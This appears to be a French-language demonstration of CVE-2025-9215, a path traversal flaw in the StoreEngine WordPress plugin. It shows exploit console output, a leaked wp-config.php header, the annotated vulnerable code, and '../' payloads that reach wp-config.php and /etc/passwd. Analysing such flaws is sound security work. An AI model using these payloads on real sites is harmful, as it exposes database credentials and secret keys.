python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Connexion à : http://localhost:1337/wp-admin
REMARQUE : Cet exploit fonctionne avec tout utilisateur authentifié (abonné, auteur, éditeur, etc.)
Extraction du nonce depuis les scripts front-end (accessible à tout utilisateur)...
storeengine_nonce: 82cb37f678
REMARQUE : Ce nonce est exposé à TOUS les utilisateurs front-end, rendant la vulnérabilité exploitable par tout utilisateur authentifié !
REMARQUE : Le module complémentaire d'import/export CSV doit être activé par un administrateur avant exploitation.
Cet exploit démontre la vulnérabilité une fois que le module complémentaire est déjà activé.
L'activation du module complémentaire nécessite la capacité 'manage_options' (administrateur uniquement).

Téléchargement de wp-config.php via traversée de chemin...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNÉRABLE À LA TRAVERSÉE DE CHEMIN !
    
    // AUCUNE VÉRIFICATION DE CAPACITÉ - TOUT UTILISATEUR PEUT TÉLÉCHARGER N'IMPORTE QUEL FICHIER !
    // AUCUNE ASSAINISSEMENT DE CHEMIN - LA CONCATÉNATION DIRECTE PERMET DES ATTAQUES ../ !
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- LIT ET AFFICHE N'IMPORTE QUEL FICHIER !
    exit;
}

// Helper::get_upload_dir() retourne :
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// Donc le chemin complet devient :
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// Avec traversée de chemin, cela devient :
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

public function _get_script_data(): array {
    // ... autres données ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Ligne 279 - EXPOSÉ À TOUS LES UTILISATEURS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... autres données ...
    ];
}

wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Appelle _get_script_data()
);

protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}